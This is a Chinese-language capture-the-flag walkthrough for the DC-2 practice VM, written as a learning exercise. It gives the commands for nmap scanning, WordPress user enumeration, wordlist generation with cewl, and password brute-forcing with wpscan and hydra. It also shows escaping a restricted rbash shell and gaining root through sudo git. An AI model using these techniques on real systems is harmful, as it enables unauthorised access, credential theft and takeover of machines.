首先下载DC2的镜像资源:
Index of /downloadshttps://www.five86.com/downloads/
下载完成后进行解压,找到解压的文件夹,鼠标右击DC-2镜像->打开方式->选择虚拟机。
输入虚拟机名称和选择虚拟机的存储路径后点击导入,如果出现报错信息点击重试即可。
导入成功后,鼠标右击DC-2虚拟机->设置->网络适配器->nat模式->确定:(虚拟机kali最好也选择nat模式,保证双方在同一网段上),如下图所示:
然后点击开启虚拟机,如果出现报错,点击否即可,出现如下画面则表示启动成功:
到这里环境就搭建完成了,下面进行渗透测试。
1.查看DC-2靶机的MAC地址:鼠标右击DC-2虚拟机->设置->网络适配器->高级。
2.得知MAC地址后,启动kali,在命令行下输入:
nmap -sn 192.168.17.0/24 //-sn或者-sP都表示主机发现(不进行端口扫描)
3.ip地址知道后,进行端口扫描+全面扫描
nmap -A -p- 192.168.17.167
(-A:使用高级功能进行扫描,即全面扫描;-p-:扫描端口号1-65535,与-p 1-65535相同意思)
可以看到80,7744端口开放,分别运行http,ssh服务。注意到http标题显示没有跟随重定向到http://dc-2/
浏览器访问192.168.17.167,网址跳转到http://dc-2/,并且出现信息:无法连接至 dc-2 的服务器。
4.修改hosts文件
可以通过在/etc/hosts(linux系统)或C:\Windows\System32\drivers\etc\hosts(Windows系统)文件添加一条映射关系解决:(前提是使用管理员权限打开hosts文件)
vim /etc/hosts
192.168.17.167 dc-2
添加成功后再次访问192.168.17.167,成功访问,通过火狐浏览器中的Wappalyzer插件得知该网站的CMS为WordPress,看到WordPress就想到了wpscan(是一个扫描WordPress漏洞的黑盒子扫描器)
点击Flag:
提示需要使用cewl工具,使用一个身份登录网站查看另一个flag(如果没找到,使用另外一个身份登录)。
既然要登录,那就涉及到登录页面。
5.扫描网站目录
使用dirsearch工具或者dirb工具都可扫描网站目录:
dirsearch -u http://dc-2
发现一个疑似登录页面的url:http://dc-2/wp-admin/
浏览器访问http://dc-2/wp-admin/,果真是登录页面。
找到登录页面后,得想办法登录进去,先用工具cewl生成一个密码字典:
cewl http://dc-2/ -w pwd.dic
然后使用工具wpscan扫描用户用以生成一个用户名字典:
wpscan --url http://dc-2/ --enumerate u //枚举用户
扫描出三个用户:admin,jerry,tom;然后将它们存放在一个user.dic字典中:
有了用户名字典和密码字典就能进行爆破了。
6.口令爆破
使用工具wpscan进行爆破:
wpscan --url http://dc-2/ -U user.dic -P pwd.dic
成功爆破出jerry和tom的密码:
使用jerry用户登录成功后->点击7 Pages->点击Flag 2;(使用tom用户登录成功但无法访问7 Pages里面的Flag 2。)
提示如果不能利用WordPress,可以寻找另一个切入点。
回想在扫描端口的时候,端口7744开启了ssh服务,使用工具hydra进行爆破,
hydra -L user.dic -P pwd.dic -vV ssh://192.168.17.167:7744(用户名字典和密码字典上面有提到)
-L:指定一个用户名字典
-P:指定一个密码字典
-vV:显示爆破细节
注意:开启ssh服务的端口不是22而是7744,所以需要在ip地址后加上端口号7744。
成功爆破出tom用户的密码:
7.ssh连接
然后进行ssh连接:
ssh tom@192.168.17.167 -p 7744
-p:指定端口
连接成功后,发现存在flag3.txt,由于受限制shell(rbash)的原因,命令type,cat,more,vim都无法查看flag3.txt,less和vi命令可查看。
提示可能需要使用su命令切换到jerry用户。
但su命令无法执行,所以得绕过rbash。
8.绕过rbash
以下提供两种方法:
1.使用vi编辑进行绕过
(1)vi 文件名 //文件名自取
(2)输入:set shell=/bin/sh,然后回车
(3)输入:shell
(4)设置环境变量:export PATH=/usr/sbin:/usr/bin:/sbin:/bin
2.环境变量绕过
BASH_CMDS[a]=/bin/sh;a //把/bin/bash给变量a
$ export PATH=$PATH:/bin/ //将/bin作为PATH环境变量导出
$ export PATH=$PATH:/usr/bin //将usr/bin作为PATH环境变量导出
$ echo /*
成功绕过后使用su命令切换到jerry用户(密码为工具wpscan爆破出来的密码),然后转到jerry目录下,发现flag4.txt:
查看flag4.txt:提示需要git提权。
9.git提权
sudo -l //查询可用sudo命令
sudo git help config //强制进入交互状态
!/bin/bash //打开一个root权限下的shell
10.查看最终flag
cd /root
cat final-flag.txt